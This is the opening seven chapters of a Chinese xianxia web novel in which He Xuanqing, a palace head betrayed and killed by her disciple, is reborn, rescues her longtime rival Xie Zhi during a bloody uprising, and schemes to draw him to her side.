《重生后和死对头he了》 1. 第 1 章 《重生后和死对头he了》全本免费阅读 贺玄青一生殚精竭虑,为国奔波,却不料被自己手把手带大的徒弟算计,暗下蛊毒,最后落得了个死无全尸的下场。 就连她的国家都被敌寇入侵,国破家亡,玄青死都不能死得瞑目。 她死后,灵魂被卷入虚空之中,方才知晓自己的世界不过是一本书。 这本书被发在一个叫做“某点”的网站上,她那徒弟绪冥是书中的主角,而自己,则是他的后宫之一,成为了主角成长的养料,被利用完之后就被徒弟杀死抛弃。 而她那徒弟则平步青云,名利双收踩着她的尸体功成名就。 网站里她甚至能算得上是人气角色,毕竟清冷美人还未被主角得手就被早早杀死,成功激起了观众的征服欲。 那些人肆意调侃着自己,在评论区编纂着身中蛊毒不得自控的自己与男主之间的种种香艳故事,甚至辱骂作者没有让男主睡到自己。 她看着网站里关于自己的污秽话语,道心甚至不曾动摇过半分,她潜心修行,修成了最后一道符。 大时光轮转术。 而后她咬破唇尖,吐出一口心头血,催动了这符箓。 …… 成功了。 石洞内,北斗七星化为星斗点缀在半空,在地上投出斑驳影子。 贺玄青看着周围熟悉的陈设,数了数群星排布的痕迹,微微皱了皱眉。 好消息是贺玄青重生了,坏消息是她无法选择重生的时间,如今这个并不是个好时机。 因为她正在闭关,而今日,玄青她记得很清楚,正是她修无情道的大成之日。 绪冥给她下的蛊毒随着她修炼一步步加深,最后便会冲入内腑,等她无情道大成的日子,蛊毒住进心脏,也就是她将受制于人,彻底落入绪冥指掌之中的时候。 内府积蓄好了能量,只待冲击最后一段关卡。 这层阻碍在贺玄青眼中甚至算不上什么难题。事实上,上一世她的修行也很顺利,仅一日,她便迈过了这号称是世间最难的关卡,成了整个天衍唯一一个无情道大成的宗师。 再然后…… 玄青睁开眼,看向了自己的手。 充盈的灵力宛如流萤萦绕在指尖,时而凝聚时而散出,随心意而动,这是大道将成的具象化体现。 破境在即,她没有办法停下来。 既如此,干脆算了。 贺玄青闭上眼后又睁开,身上有微茫亮起。 莹莹微光自她体内抽离又散开,逐渐远离她的身躯。力量从身体内离开的感觉不好受,可一整个过程中玄青都很平静,平静的都不像是自己身上发生的事情。 她无情道已然修到了最后一重,喜怒哀乐贪嗔痴念于她而言不过像是隔了一层纱。 贺玄青很少会受情绪波动影响,哪怕绪冥对她做出了这种恶事,她的第一反应依旧不是恼怒悲伤,而是想着如何布局除掉他。 这种想法其实她前世就有,还切实实施过好几次,可惜均未成功,如今想来应当与他是书中主角有关系,这个词她也在浏览那个网站的时候学习过,好像叫“主角光环。” 贺玄青一面思考一面踏上台阶。 青石阶自洞口缓缓升起,此处乃她清修破关之地,没人有胆敢来此处打扰。 玄青迈步踏上青玉阶,下一瞬便到达主宫,雕龙画栋,在大殿中心还浮着本书卷。 此书名唤《若书》,是她师父留下来的遗物,号称知晓这世间万物。 自玄青继他师父的位置成为风波宫宫主之后,《若书》便成了她的东西。 想知道天机必定会付出代价,但问些小事是无妨的,玄青张口随意问了几句,这才漫不经心回眸望向殿前。 殿前早已跪了一批人。 扫洒的宫人看见她出现,难掩心中激动地跪倒在地:“恭贺宫主大道大成!” 这宫里头这些侍从修为低微,压根瞧不出她气息的变化,只能看到她身周移散的光点,还以为她身上的异相是修为大成之故。 贺玄青挑眉回过头瞥了眼地上跪成一排的众人。 宫人们畏惧宫主威仪,不敢抬头,眼眸中却都涌现着激动和高兴。 群敌环伺,北狄虎视眈眈,天衍国岌岌可危,但玄青此时破关,若她能无情道大成成为宗师,天衍国便还能有下个百年。 这些侍从为天衍国的臣民,自然欢欣雀跃。 他们以为自己无情道大成了。玄青弯了弯眼角,却并没有否认。 她出关的消息传得很快,不过几息的功夫,便有宫人上前禀报:“宫主,绪冥求见。” 绪冥可是玄青的亲传徒弟,贺玄青手把手将他带大,教他武艺功法,在这些宫人眼里,贺玄青卜一出关绪冥便迫不及待请求宫主召见,更是他们师徒情深的证明。 若是以往,贺玄青定然是会见一见这位好徒儿的。 可如今的贺玄青只是淡然扫了那宫人一眼,声音冷淡:“不见。” 宫人吓了一跳,慌忙应了声喏就要退下,却被贺玄青一个眼刀定在了原地。 贺玄青没有理会吓得惊慌失措的宫 2. 第 2 章 《重生后和死对头he了》全本免费阅读 千里之外,摘星阁。 摘星阁坐落于苍坪山之上,地势极佳,是难得的清修宝地。当年先帝曾三顾摘星阁就为了将唯一的公主送入其中求学,可想而知摘星阁在天衍国的地位。 此时万籁俱寂,日月星光皆陨于山间,摘星阁沉浸在一片孤冷黑暗之中,无形的结界笼罩其上,坊间百姓只能看到摘星阁的平静表象,无人能知晓其中有着怎样的血雨腥风。 但这种阻拦凡人结界对于她贺大宫主而言根本算不上什么阻隔,贺玄青几乎是毫不费力便穿过了结界,卜一踏入,便听到结界里传来了震耳欲聋的喊叫声。 结界内外是截然相反的景象,结界内浓重的火光笼罩了整个摘星阁,圣上亲笔题下的牌匾落在火堆中。鲜血和尸骸横七竖八倒在路边,几乎堆成了一座小山。 人们聚集围堵在回廊之上,还未靠近,便能听到震耳欲聋的喊叫声:“杀谢止,诛邪魔!” 很好,还有口号。 贺玄青的视线穿过那些穿着天衍国学子服制的“学生”们,落向远处高耸的建筑之中。 这座楼阁被回廊遮了大半,只能隐约看到悬在檐上的风铎的一角,但贺玄青知道那座建筑的方位直对着启明星升起的方向,是摘星阁阁主的居所。 沿着这条回廊一路往前便可走到阁主的暖阁,回廊不长,走到尽头只需百余步。 更漏四声。 距离修为散尽不足两个时辰。 贺玄青丈量着距离,漫不经心地横剑出鞘,下了结论。 够用了。 她的动作极快,肉眼根本无法捕捉到行迹,在她收剑的刹那。人群中,最大的那道声音戛然而止,为首之人重重倒在地上,很快便失去了呼吸。 周遭的声音也跟着停了,众人齐齐转头,惊疑不定的目光在停留在她身上的瞬间变成了恐惧。 “宫,宫主。” “是风波宫宫主!” 贺玄青根本没有理会他们的叫喊,没人拦她,她就耸着肩,提着染血的剑,数着步子往前走。 一步,两步,三..... “贺玄青!” 一道刺耳的声音犹如指甲划过耳膜,被搅扰了兴致,贺玄青抬起头,视线落在了正拦住自己的人身上。 那是个上了年纪的学究,体态垂垂老矣,配上这一身学生服装更显得不伦不类,对上贺玄青的目光,他似乎瑟缩了一下,强撑道:“贺宫主,你在修行清净地,残害学子,妄造杀孽,会被天下人所耻笑的。” 贺玄青没有说话,周围人却因为那个人的话躁动起来,他们窃窃私语着,正印证了男人的话,是在为刚刚那位惨死于贺玄青手底下的“学生”鸣不平。 前世关于这场暴动的起因确实是有这么个说法—— 摘星阁阁主谢止身怀巫血之事暴露,原先在摘星阁研学的学子们群情激愤,夜闯谢止居所。 前世是由风波宫全权接手查的案子,身为风波宫宫主,贺玄青不可能不清楚,但贺玄青压根没理会那些群情激愤的学子们,她看着面前两鬓斑白的男人,神色莫名:“你不是学生。” “老夫不......”那人一噎,还想再说什么,却已经来不及了。 贺玄青根本没给他再开口的机会,毫不犹豫便抬手斩下。 鲜血迸溅而出,直接溅了那些学子满身满脸,周围瞬间变得鸦雀无声,气氛归于死寂。 “你不是学生,他也不是。”贺玄青又恢复了一开始的姿势,继续往前走,“本宫尚有公务在身,暂时没空陪你们玩这些无聊的把戏。” 那么大一个结界现下就在他们的头顶上罩着,学生?糊弄傻子也不是这个糊弄法。 “风波宫出行,闲人退避。”贺玄青的语气平淡,声音也不是很大,仿佛不是在恐吓,就是在陈述一件事实,“阻我前路者,死。” 薄薄的尾音很快消散在夜风中,好在现在无人开口,所有人都听清了她在说什么。 贺玄青在天衍国形象几乎等同于煞神,多年的威势积攒摆在那里,一时之间居然真的无人敢靠近。 不过这份威吓也没有维持多久,人群中很快就又传来了道不和谐的声音。 “你们都是傻子吗?” “等她把谢止救出来,转头就会来处理我们,你们以为你们能跑得掉吗?”这声音响在耳边,贺玄青径直走过说话的人,却并没有反驳。 在她眼中,从他们决心动手开始,就已经都是死人了。 倒也不是为了那劳什子被困在摘星阁的谢阁主。风波宫号称皇庭的眼睛,眼线遍布整个天衍国都,却对他们弄出的事情毫无所觉,简直就是在把她风波宫宫主的脸面往地上踩。 敢落她面子的人,她向来都会处理干净。 已经在心目中给这些人都判了死刑,贺玄青连一点余光都不想分给这些死人们。 刚走出两步,就听到身后又传来一道声音: “谢止身怀巫族血脉在摘星阁当了那么多年的阁主,风波宫却一直懵然不知,这怎么可能?依我看,这女人和谢止说不准就是一丘之貉.......” 贺玄青:? 人群中,正在慷慨陈词的人话说到一半,忽然感受到了一阵森寒杀气,登时吓得噤了声。 在说什么晦气东西。 贺玄青默默收回目光,心里默默呸呸了好几声,自己和谢止的名字并在一起,简直越听越晦气。 仿佛从她的反应读出了她的态度,贺玄青听到耳畔传来一阵兵器摩擦的声响。 “再怎么厉害,她也只有一个人,好杀。” “杀了贺玄青!” 兵刃之声骤起,很快便形成围剿之势,将贺玄青包围在了其中。 贺玄青根本没有停下脚步,她盯着脚下铺得齐整的地砖,重新开始计数。 亡命之徒最难对付,这些人知道自己所犯之事是足以诛九族的大罪,拿出了不要命的气势。 到最后 3. 第 3 章 《重生后和死对头he了》全本免费阅读 贺玄青是真的很高兴。 公对公,私对私,救人归救人,眼睁睁看到死对头落难,她没放鞭炮庆祝已经是人品端正,但目睹此情此景,她的嘴角就有点压不住了—— 总忍不住往上勾。 但她来就是为了让谢止承她的情的,总不能反倒因此把人给得罪了。 贺玄青掩住嘴咳了咳,好歹是装了一下,重新整理了措辞:“真狼狈啊,谢大阁主。” 这句话显然并没有比刚才那句话好多少,贺玄青却并不在乎,能找补一句已是极限,这世上就没有她贺玄青需要讨好别人的时候。 贺玄青上下打量着谢止,目光毫不遮掩地欣赏着他现在的狼狈丑态,心中还琢磨着能从哪儿找个留影石拿来录一录。 “贺宫主。” 思绪被打断,贺玄青像是才察觉到这屋子里还有其他人似的,不耐烦挑眉:“你谁?” 那人手中还拿着烙铁,声音里带着些局促:“学生青蓝,一直很仰慕宫主,月初蒙家父提携曾有幸拜见过您一面,您还夸赞过我。” 青蓝,好像是摘星阁的成员,摘星阁动乱主要行动人之一,因为不满谢止久居阁主之位才参与进其中。 贺玄青对青蓝这个名字有印象,对其模样却没有什么记忆,毕竟等这人被送进风波宫审问的时候,就已经面目全非了,好像是有摘星阁中有人不满此人加害阁主,趁着金羽卫松懈之时下了暗手。 谢止似乎很擅长笼络人心,摘星阁里肯为他出生入死的人不少,这一点与规矩森严的风波宫完全不同,当然了,与之相对的,嫉妒谢止暗中给谢止使绊子的人也只多不少。 风波宫的形势则完全不同,贺玄青一直走的都是暴力镇压威慑的路子,除非真的能够确定她彻底倒台永无翻身的可能,否则无人有胆量去招惹一个不要命的疯子。 谢止这种伪君子她看不惯,反倒是那种有野心,为达成目标无所不用其极的人,贺玄青向来都是极欣赏的,会夸赞也不奇怪。 如今看来她果真没有看错人,单看这种狠辣的心肠和手段,贺玄青都有点想把这个人收入风波宫了。 可惜没什么脑子,被人当了枪使。 男人一直在观察着贺玄青的反应。 看着狼狈不堪浑身都被束缚着的谢止,贺玄青似乎惊讶极了,但这份惊讶作假的成分占了大多数,因为男人看得很清楚,贺玄青掩着嘴,竟是没忍住笑出了声,到现在眼角眉梢的笑意都未曾散去。 贺宫主幸灾乐祸的表情实在表现得太过显眼。 再看谢阁主,脸上根本没有被人营救的欣喜,反而较刚才更加阴沉,此时正死死盯着贺玄青。 或许这件事并不是毫无转机,青蓝观察着现有的局势,忍不住思索起来。 摘星阁阁主与风波宫宫主的关系极差,这在天衍国不是什么秘密,贺玄青会赶来营救谢止这件事本身就很扯。 依照他们二人的关系,怎么看都是贺玄青赶来报复的可能性要大得多。 再想想贺宫主只身前来这件事本身就很蹊跷,若今日之事已被朝廷知晓,那如今来的就不会是贺宫主一人,而是整支皇庭的金羽卫。 不是营救。 贺玄青来此,或许是为了落井下石,给他最后沉重一击。更何况风波宫作风只会更极端,贺玄青曾亲口说过欣赏他的性格,此时也未必会厌恶他的做法。 还有能争取的机会----- 被一把拽起头发按进火堆之前,青蓝还是这样想的。 不想再在蠢货身上浪费时间,贺玄青手上用力,正兴致盎然地打量着谢止现在的形象。 粗大的锁链自胸前穿胸而过,鲜血自他的唇瓣和伤口中涌出,又瞬间化为了滋养阵法的养料。 谢止,摘星阁阁主,往后的天衍国监国,她的好对头。 真狼狈啊。 贺玄青心想。 很难想象的是摘星阁的那位大学究在没毁容前居然是这样一个艳丽长相,如烈火,如盛放到荼蘼的鲜花。 更难想象的是身为天衍国中枢机构,里面的人能想到算计同僚的方法不是弹劾打压毁了他的晋升之路,而是想方设法让政敌毁容,简直离谱。 同僚都是饭桶,下属如此难带,难怪他会心灰意冷辞离开摘星阁,换作是她,估计会把这帮废物全都杀了。 当然今日杀的也不算少。 鲜血早已将她身上穿着的常服染透,好在贺玄青素来只会穿玄色的衣袍,乍看上去并不显眼。 玄青拽着那罪魁祸首之人的头发,真心实意发问:“图什么?” 算计谢止,你可是会丢掉性命,可谢止不过会毁了一张脸啊。 折腾人的法子有得是,风波宫平日里掌的就是刑罚,能对谢止施行的惩罚手段贺宫主脑子一转,便能想到九十九条不重样的方法。 青蓝在火堆里啊啊啊乱叫着,已然说不出一句话,当然没办法回答。 4. 第 4 章 《重生后和死对头he了》全本免费阅读 若书说,在拜托人办事之前,需要先示人以弱,这样才能展现出自己的诚意。 但眼下就凭借她与谢止的关系,贺玄青再不要命,也不至于大胆到敢直接昏在摘星阁的地界上。 所以贺玄青保留了一点,装昏也算昏,这样流程走了,大家面子上也都能过得去。 细细簌簌的声响传来,好像是火石摩擦的声音,贺玄青鼻尖很快便嗅到了火油的气息。 不用睁眼贺玄青也能明白谢止做了什么。 烂摊子太多,这老阴货显然是没有自己亲自处理的意思,干脆放了把火遮痕迹。 但很快,谢止的声音消失了。 没有了下一步动作,除却木头燃烧的噼啪声响,周围再也捕捉不到谢止的行迹。 感受到周围温度不断升高,贺玄青终于有些装不下去了。 若书说按照计划他有九成的可能性会答应,但现在谢止别说是想报答自己的救命之恩了,好像是打算直接将自己烧死在火场里。 贺玄青皱着眉,觉得有些麻烦。 看来若书的建议不怎么靠谱啊。 机会只有一次,如果她没成功,岂不是白跑一趟。 算了。 总会有其他办法的,贺玄青终于放弃,她打算观察情况后找机会离开,刚睁开眼,就发现一块布兜头朝着自己脸上蒙去。 迷香! 古怪的味道充斥鼻尖,贺玄青觉得头晕目眩,嘴里想骂却被绢布堵着,根本骂不出声音:“唔——” 谢止,你这个狗东西!!! ........ 失去修为的影响比她想象中的要大得多,贺玄青昏昏沉沉,竟是罕见地做了场梦。 梦里是前世的场景。 彼时她修习无情道大成,出关之时谢止却在自己的寝殿失踪,彻底销声匿迹。紧接着便开始有人散播流言,说谢止身怀巫血,巫血重现于世,天衍国必遭大难。 此事之后,摘星阁彻底与皇庭撕破了脸面,仙盟和朝廷这百年间苦心维持的良好关系就此断绝。朝廷难有可用之人,贺玄青谁也不信,干脆自己着手去查。 这世间仿佛再也没有谢止这个人的痕迹,虽然贺玄青始终没有找到他的尸体,但从现场痕迹和凶手证词判断,谢止不可能还活着。 真凶很轻易便浮出水面,青蓝出于嫉恨才对阁主下手,贺玄青顺着脉络,还查到了为青蓝提供时机和工具的参与者,就此谢止一案算作了结。风波宫将涉事者悉数下狱处死,算是给仙盟做了交代。 但风波宫与摘星阁敌对了太长时间,谢止出事,在众人眼中,她贺玄青就是最有嫌疑的那个人。 无非是监守自盗,自己调查自己。 贺玄青不在乎,她身在其位,最不在乎的就是人们的质疑。 谣言在她杀了几个蓄意传播之人后就消停了许多,这件事彻底淡出了人们的视野。贺玄青体内蛊毒显现,她每日忙着与蛊虫纠缠,无暇再管这些事。 第三年,天衍出了个天才,那人横空出世,连中三元,殿试更是得皇上青眼,破例入中书门下成了个从二品官员,掌握要职。 此人身世成谜,此前也并未在天衍国留下过什么传闻,贺玄青有些怀疑,干脆设局借调查的功夫见了此人一面。 刑堂内,男人长身而立,脸上正带着一个古铜色面具,让人看不清他的容貌。 明明隔着面具,贺玄青却能清晰感受到男人望向自己的视线。 犹毒蛇缠绕,阴冷湿寒,有如附骨之蛆。 这身形和视线,倒是勾起了贺玄青一些不好的记忆,她近日劳心劳神,面对此人也没什么好脸:“见了本宫主还遮遮掩掩,难不成是细作不成?” 男人摇了摇头,朝着她行礼:“在下容貌有损,不便示人,望宫主莫怪。” 贺玄青皱了皱眉,她那时已不太能感知到正常情绪,心脏却还是骤然停跳了一瞬。 她不可能认错—— 那是......谢止的声音。 已死之人忽然出现在眼前,绝非什么好事。 “摘。”指尖敲击着桌面,贺玄青丧失了基本的耐心,厉声命令道。 男人手指覆上面具边缘,微微用力,面具缓缓下落,露出了一张........ 面目全非的脸。 ........ !! 贺玄青猛得坐起身。 头昏沉得可怕,额头浸着层薄汗,贺玄青睁开眼,锐利视线自周围环境扫过,迅速做出了判断。 她并不在摘星阁中。 这是间不大的屋子,陈设也十分简洁,带给她莫名的熟悉感觉,她正坐在一个梨花木雕作的大床上,隐有微风自窗前穿堂而过,落在她身上却变得冰冷刺骨。 冷,很冷,彻骨的寒意意似乎能从骨头缝里散发出来,身子却是莫名其妙的燥热,额头散着薄薄冷汗,贺玄青有理由怀疑是死对头给自己下了药。 谢止站在床头,视线有些古怪地凝视着她,手中还端着个正散发着不详气息的药碗。 很好,彻底实锤了。 “你把我关到了何处?”尽管做出这样的判断,但贺玄青的心态很平和,如果身份互换换做她有机会挟持谢止,她下手只会更狠。 “这里是哪里。”谢止盯着贺玄青,冷不丁开口,“你不清楚吗?” 谢止的地盘她怎么会知道,这样问是在怀疑自己在他身边下了暗子,还是……思绪在心中转了几轮,贺玄青皱了皱眉,没有回答 5. 第 5 章 《重生后和死对头he了》全本免费阅读 碰巧路过? 她甚至为了不让人发觉是自己动的手找宫人换了剑,谢止向来不会忽略这种细节。 早就知情? 那她又要如何解释自己放任那些人闯入摘星阁的行为?和盘托出不异于将自己的软肋交到了谢止手上,若受谢止控制,就和前世没有区别了。 不,不对。 不用解释。 贺玄青反应过来。 谢止可能并不是想从她身上获得答案,谢止这样问,更可能就是单纯的想戳破自己的“谎言”。 语言是没用的,证据就在眼前,换作是她,她连谢止的一个字都不会信。 他们的关系实在太差,导致她苦心营救谢止的行为都像是一场精心策划用来欺他的苦肉计。 这也是贺玄青来之前就预设好的可能,反倒是谢止的举措让她意外,她做足了谢止会将她关押起来拷打逼问的准备,但谢止却将她关在了一个看起来还算不错的房间里。 头痛从刚才起就无法忽略,谢止的指尖又凉得吓人,就像是有人顺着她脖颈嘶嘶吹冷气,贺玄青终于没忍住拍开了他的手,讽刺道:“谢阁主不是向来看不起我风波宫的做派,没想到居然也开始用起同样的手段来了。” 谢止沉下去的眉眼在听完她说的话之后转为了惊讶:“什么?” 贺玄青不岔地望着他。 谢止微微皱眉。 像是终于反应过来贺玄青刚才为什么会说出这样的话,谢阁主顿了顿,语气变得有些微妙:“贺宫主,你不知道吗?你得了风寒。” 说罢,他将手中的汤碗递到了贺玄青的面前:“这是治风寒的药。” 有那么一瞬间,贺玄青在怀疑谢止开玩笑的可能性。 风寒这词和她从来扯不上关系。她打小便身体强健,自修行之后更是极快地锻体成功,自此寒暑不侵。 怎么可能? 贺玄青捂着烧到昏昏沉沉的头,被这个词砸得蒙头转向,表情都空白了一瞬。 或许是她的反应太过激烈,谢止面上表情依旧,语气却缓和了些许:“贺宫主病了,先喝药吧。” 眼看贺玄青还愣着,谢止顿了顿,似乎是在认真提建议:“需要我喂宫主吗?” 那就不必了。 谢止给自己喂药这种画面怎么想怎么诡异。贺玄青果断接过抿了一口,被这汤药里的复杂滋味折腾的有些怀疑人生,狐疑道:“你该不会给我下了毒……” “呵,是的,下了三斤砒霜。”谢止冷冰冰回答。 那就是没下。 贺玄青点了点头,面无表情一饮而尽。 谢止面前,装肯定是要装的。但这不妨碍贺玄青内心腹诽,她严重怀疑谢止在针对自己,哪有那么难喝的药,他是不是在里面偷偷加黄连了。 谢止就站在她的面前,目光如有实质,将她上上下下都仔细打量了一遍,贺玄青顶着这令人浑身发毛的视线一口气喝空了药碗,将药碗递还回去的时候,谢止却没有离开。 他明明还像之前那样板着张死人脸望着自己,可贺玄青却觉得他好像有些失望。 看错了吗? 贺玄青被盯得浑身不自在,忍不住开了口:“谢阁主是在等药效发作吗?” 贺玄青是故意的,比起眼前这个古里古怪的死对头,她更宁愿面对一个愤怒的谢止。 但出乎意料的,谢止没有再被她激怒,他似乎是轻轻叹了一口气,而后从怀中掏出个丝绢放在了桌子上,转身离开了。 贺玄青又等一会儿,确定他短时间内不会再回来。 她躺在床上,复盘与谢止的这次见面。 她前世曾不止一次怀疑过谢止重新出现在自己面前的目的——当然不是因为摘星阁的这场刺杀——事实上,她与谢止的关系本就差到了极点,根本没有再下降的空间了。 她忌惮的,是谢止的身份。 谢止与她不同,她以剑入道,虽然往后修行了无情道统,但大体上走的也是普通修士修道的路,谢止则是特殊的。 他并非普通修者,而是个“谋士”。这里的谋士指的并非那些贵族王侯圈养的门客学生,而是正经的修行法门。他习的是“术”,观的是天命,传言天机在他眼前从不曾遮掩,而他总能比普通人多看一步。 命理玄而又玄,稍有不慎便会牵涉其中。谢止执掌摘星阁,却偏居 6. 第 6 章 《重生后和死对头he了》全本免费阅读 …… “贺玄青,你该下地狱!” 鲜血渗透了贺玄青的剑尖,贺玄青冷漠地看着倒在地上了无声息的尸体,心中却不住禁不住涌起暴虐杀意。 但这是不应当的。 她修的是无情道,早就斩断了这世间所有情感欲望,更不该出现情绪这种东西。 或许她修行的道统本身就有问题。师父在将那本书教给她之时就算计好了未来。 有那么一瞬间,贺玄青想亲手了结自己。 她不想死在这些酒囊饭袋的手上,如果真的要走到那一步,她不如先杀了她自己。 “禀宫主。”宫人手奉铜盆跪在殿前,根本不敢去看里头鲜血淋漓的场景,“那状元已经收押进丙字房中。” “知道了。”贺玄青收了剑,随手将手中的鲜血洗净,嗤笑道:“你们都退下,到时候让我一个人进去。” 宫人打着摆子,却还是忍不住开口提醒:“可……可这是陛下看中的人。” “本宫会看着办的。”随手将染血的绢布甩进盆中,贺玄青摆了摆收,“都说那位状元惊才绝艳乃文曲星降世,那本宫今日就去会会这位活神仙。” 除却杀念,所有的情绪都被消除,如果真被这种情绪支配,她会有什么结果? 太晚了,知道这一切已然太迟,贺玄青积重难返,只得一步步朝着末路走下去。 再无转圜余地。 …… 丙字监牢内。 “谢,谢止……” 在见到面具下那张脸的瞬间,惊讶,恐惧,兴奋……种种情绪交织,强烈涌动着,甚至让无情道的桎梏都松了一瞬。 贺玄青骇然站起,死死盯着面前那张面目全非的脸庞,几乎是毫不犹豫便拔剑出鞘,翻卷着凶戾剑光直朝谢止面门劈去, “你究竟想做什么?!!” …… …… 贺宫主这些年为了风波宫兢兢业业,勤勤恳恳,疏于照顾自己的身体,往常还能有修为顶着看不出来什么,如今修为没了,底子里的亏空就显现了出来。 这病来得轰轰烈烈,高热退去已经是两日之后。 傍晚,贺玄青睁开眼睛。 谢止今日也不在。 除却第一日往后她再没在清醒的时候见过谢止。桌上供给着一日三餐和那治风寒的苦药,应当是谢止遣人送来的。 明明囚禁了自己,谢止居然什么都不打算做吗? 贺玄青半点不信。 自己和谢止是什么关系? 这方面贺玄青很有自知之明,如果说贺玄青觉得谢止是贱人,在天衍国贺宫主最讨厌的人里能排前三。 那她绝对能在谢阁主的心中想杀之人中排前十。 摘星阁现在还挂着风波宫人与狗不得入的牌匾。身为天衍国最大的两股势力,他们之间勉勉强强可以保持着平衡,顶多也就算得上是老死不相往来的关系。 如今一方弱势,另外一方不可能无动于衷。 她还以为与谢止产生纠葛会很简单现在这个情况才是她没有预料到的。——自己孤身一人还失了修为,谢止到底是怎么忍住不把自己狠揍一顿的。哪怕指使手下下手也行,大不了她抛下风波宫宫主的脸面,往他拳头上蹭蹭。 山不就我,谢止不来,眼下只能由她亲自来会会他了。 贺玄青自觉身体转好,就连情绪都跟着大好,忙不迭就要往谢止的位置跑。 但是…… 路过铜镜前,贺玄青突然停下了脚步。 贺玄青盯着铜镜里自己现在的模样。 随着修为散去,她因修为外显而变换雪白发丝褪去,彻底变为了乌黑色泽,眼睛也从原先的金色变为了纯黑,贺玄青摸着自己的脸,竟觉得有些陌生。 镜子里的姑娘乌发乌眸,歪着脑袋的样子竟然带了些许天真。 只是肌肤相贴的联系也太浅薄了,她大老远跑来一趟,怎么能只有这一点追求? 贺玄青的唇角微勾,那份天真破裂,镜子里的姑娘笑得邪异张狂。 是了,她明明有更好的法子。 贺玄青早年也不是没有派过人盯梢,可惜她那死对头的人生过得究极无聊——不近女色,对权势金钱的兴趣寥寥,做事与其说是随性不如说是全凭天意,传说谢止每日出门前都要先掷杯筊,算自己踏出门槛先踏哪一只脚。 当然,与风波宫作对除外,这种事对谢大阁主而言就像呼吸那样融于日常,根本无需卜问天道。 早年在还未与摘星阁撕破脸的时候,为了能抓住仙盟把柄,年轻的贺玄青做了不少功夫,明里暗里给摘星阁送的美人探子不少,可惜都是在白费工夫——都是谋士了,谢止怎么可能会被一点外力轻易搅扰。 但现在不同,现在的她知道谢止喜欢什么。 贺玄青对着镜子,调整着自己的笑容。 乌发乌眸的姑娘对着镜面莞尔一笑。 这样看,倒是像极了她。 但还不够。 贺玄青漫不经心将发琯起,学着天衍国民间的样式,琯了个适合少女的发型,然后满意地点了点头。 这下就像个十成十了。 贺玄青没和那姑娘相处过,料想那人应当是个性格天真浪漫的小姑娘,贺玄青对着梳妆镜练习了神态,默默等待着夜色降临。 …… 入夜,明月高悬。 谢止的居所毗邻湖畔,正逢夏日,湖边开满了荷花,夜风习习拂过窗前传入清甜花香。 谢大阁主批阅完了今日所有公文,照例洗漱后躺在床上闭目养神。 他的作息每日有如被刻好那般精准板正,随从手下也从来不会在他休息的时候打扰他,以至于被细细簌簌声响吵醒之时,谢大阁主还有些茫然。 身上忽然一沉,吐息如兰近在耳侧,从身形很容易便能判断出是个女人。 压根不用思索就能猜测出这是谁的手笔,恍惚间谢止居然像是回到了刚成为摘星阁阁主的时候,那会儿每天夜里临睡前都得先翻翻被褥床底,免得藏了什么男男女女,夜间被巫血引诱,死在他阁里。 明明人还在他房中,却还有心思做这种事,谢止的心情一下自便差到了极点。 杀掉这个女人,再将尸体放到她的面前,场面应当会很精彩吧。 谢止拧着眉,还未付诸行动,胸 7. 第 7 章 《重生后和死对头he了》全本免费阅读 不过是开个玩笑罢了,谢止玩不起。 被迫睡在柴房里的贺大宫主如是说。 当初谢大阁主秘密入凡世历练,曾与一民间女子结了姻亲,现在全天衍国知道这件事的人很少,贺玄青算是其中一个。 贺玄青看过那民间女子的画像,画中女子笑容纯净,眉眼却与她足有七八分相似。 后来贺阁主亲手将那女子魂魄镇在了洪渊裂缝深处,谢止不顾皇庭召令连夜强闯入风雪涧也未曾挽回,那女子神魂皆灭。自那以后摘星阁与风波宫彻底决裂,不死不休的关系一直延续至今。 斯人已逝,再想追忆也回不去了,为何不沉湎于她费心营造的幻境里。 贺玄青当然不会承认这是因为她演砸了。 她又没有具体与那姑娘相处过,能演出个几分相似便已经很不错了。明明就是谢止太挑剔。 柴房又岂能是她一个宫主会睡的地方,贺玄青从不委屈自己,她私下环顾给自己选了个位置,单手掐诀,一边在空中画了个阵法打算把自己的床搬过来,一边思考。 哎,可惜。 计划失败,好在也不是没有缓和的时机,如今不如好好想想对策,时间剩的不多了,得尽快见到谢止——— 在看到面前忽然出现的,正摆着一张死人脸的谢大阁主之时。 贺玄青改变了主意。 倒也不需要那么快。 谢止还躺在他那张梨花雕木的床榻上,表情就和刚刚赶她出来的时候如出一辙:“贺玄青,你又想做什么?” 贺玄青看上去比他还莫名其妙:“谢止?你怎么在这里?” 谢止额前青筋跳了跳。 贺玄青手里还掐着那个半生不熟的阵法,谢止视线自她的指尖扫过,腾腾杀气转为不可置信:“这什么?” 贺玄青理直气壮:“小鬼搬运术。” 说完这句话,贺玄青听到谢止似乎是深吸了一口气。出身摘星阁正统,谢阁主熟知各种奇门异术,偏门阵法,这种被贺玄青魔改的阵法在他眼中简直就是脏东西。 谢止眉头皱得能夹死苍蝇,被贺玄青激得话都多了起来:“小鬼搬运术需落指观需,属四世游魂……你掐的这是个什么乱七八糟的东西,堂堂风波宫宫主,居然学得还不如我阁内学徒。” 贺玄青于修行上很有天赋,年纪轻轻便修无情道大成,但在术法一道上,她的确没什么天赋。 当然这种基础阵法和天赋也扯不上什么关系,能把手诀捏成这种程度,纯粹就是小时候没认真听过课。贺玄青埋着脑袋,居然有些同情谢止的那些学生,到底是怎么才能忍受得了他这个脾气。 现在谢止说的话转到她耳中全是无意义的胡言乱语,贺玄青油盐不进,伸手扯了他的被子盖在自己身上,摆了摆手道:“知道了,你走吧。” 谢止话停了,看向她。 “这里没有床榻。”贺玄青根本不承认是自己出了错,挽尊道,“你走,我睡。” 谢止眉心直跳,根本没有让位的意思,抬手去抢她抱在怀中的被褥:“搬你自己的床去。” 场面有点滑稽。 堂堂风波宫和摘星阁两大势力之主居然在茅草房中为了争夺一张梨花木床大打出手,传出去能教他们的那些政敌嘲笑几百年。 好在现在只有谢止与她二人,好好的寝被被撕扯得七零八落,床榻断了块横梁,棉絮乱七八糟堆在上头。 这下谁都睡不了了。 贺玄青分寸不让,谢止的脸色也黑得堪比窗外夜色:“贺玄青,你究竟想做什么?” “谢阁主。”能与谢阁主这样独处一室好好交谈的机会很少,需要珍惜。贺玄青也很看中这次机会,她仔细思考着,倒是真的想起来一件事,“把青蓝给我。” 两人之间的气氛骤然变得冷淡起来,淡淡杀机涌动于二人之间。 “本宫知道阁主因旧事不喜我风波宫,但此事涉及仙盟与皇庭,兹事体大。”顶着谢止骇人的目光,贺玄青施施然站起身,笑眯眯行了一礼,“风波宫职责所在,望谢阁主行个方便。” 谢止气笑了:“把主谋给你,然后让你销毁证据?” 